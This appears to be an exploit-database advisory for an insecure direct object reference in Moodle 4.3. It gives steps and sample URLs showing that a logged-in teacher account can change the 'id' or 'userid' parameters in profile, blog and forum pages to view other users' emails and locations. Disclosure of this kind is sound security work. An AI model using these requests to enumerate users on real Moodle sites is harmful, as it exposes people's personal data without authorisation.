Moodle 4.3 - Insecure Direct Object Reference

# Exploit Title: Moodle 4.3 'id' Insecure Direct Object Reference (IDOR)
# Date: 20/10/2023
# Exploit Author: tmrswrr
# Vendor Homepage: https://moodle.org/
# Software Demo: https://school.moodledemo.net/
# Version: 4.3+
# Tested on: Linux 


Vulnerability Details
======================

Steps :

1. Log in to the application with the given credentials > USER: teacher PASS: moodle
2. In profile.php?id=11, modify the id Parameter to View User details,
Email address, Country, City/town, City, Timezone
3. Change the existing "id" value to another number 

https://school.moodledemo.net/user/profile.php?id=4
https://school.moodledemo.net/user/profile.php?id=5
https://school.moodledemo.net/user/profile.php?id=10
https://school.moodledemo.net/user/profile.php?id=50

https://school.moodledemo.net/blog/index.php?userid=3
https://school.moodledemo.net/blog/index.php?userid=14

https://school.moodledemo.net/mod/forum/user.php?id=53
https://school.moodledemo.net/mod/forum/user.php?id=50